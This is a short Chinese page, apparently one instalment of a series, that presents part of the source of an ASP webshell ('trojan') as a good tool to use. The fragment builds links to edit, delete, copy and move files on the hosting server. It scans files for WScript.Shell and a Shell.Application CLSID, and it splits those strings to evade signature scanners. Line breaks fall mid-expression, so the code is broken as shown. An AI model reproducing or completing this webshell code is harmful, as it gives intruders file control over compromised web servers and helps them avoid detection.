一款不错的asp木马 黑色界面(26)
Set FSO1s = CreateObject("Scripting.FileSystemObject")
on error resume next
set ofile = FSO1s.OpenTextFile(FilePath)
filetxt = Lcase(ofile.readall())
If err Then Exit Sub end if
if len(filetxt)>0 then
filetxt = vbcrlf & filetxt
temp = "<a href=""http://"&Request.Servervariables
("server_name")&"/"&tURLEncode(replace(replace(FilePath,server.MapPath
("\")&"\","",1,1,1),"\","/"))&""" target=_blank>"&replace
(FilePath,server.MapPath("\")&"\","",1,1,1)&"</a><br />"
temp=temp&"<a href='javascript:FullForm("""&replace(replace
(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")
&""",""EditFile"")' class='am' title='编辑'>编辑</a> "
temp=temp&"<a href='javascript:FullForm("""&replace(replace
(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""DelFile"")'
onclick='return yesok()' class='am' title='删除'>删除</a > "
temp=temp&"<a href='javascript:FullForm("""&replace(replace
(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")
&""",""CopyFile"")' class='am' title='复制'>复制</a> "
temp=temp&"<a href='javascript:FullForm("""&replace(replace
(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")
&""",""MoveFile"")' class='am' title='移动'>移动</a>"
If instr( filetxt, Lcase
("WScr"&DoMyBest&"ipt.Shell") ) or Instr( filetxt, Lcase
("clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8") ) then
Report =
Report&"<tr><td>"&temp&"</td><td>WScr"&DoMyBest&"ipt.Shell 或者
clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8</td><td><font
color=red>危险组件,一般被ASP木马利用
</font>"&infiles&"</td><td>"&GetDateCreate(filepath)
&"<br>"&GetDateModify(filepath)&"</td></tr>"
Sun = Sun + 1
temp="-=| 同上 |=-"
End if
内容版权声明:除非注明,否则皆为本站原创文章。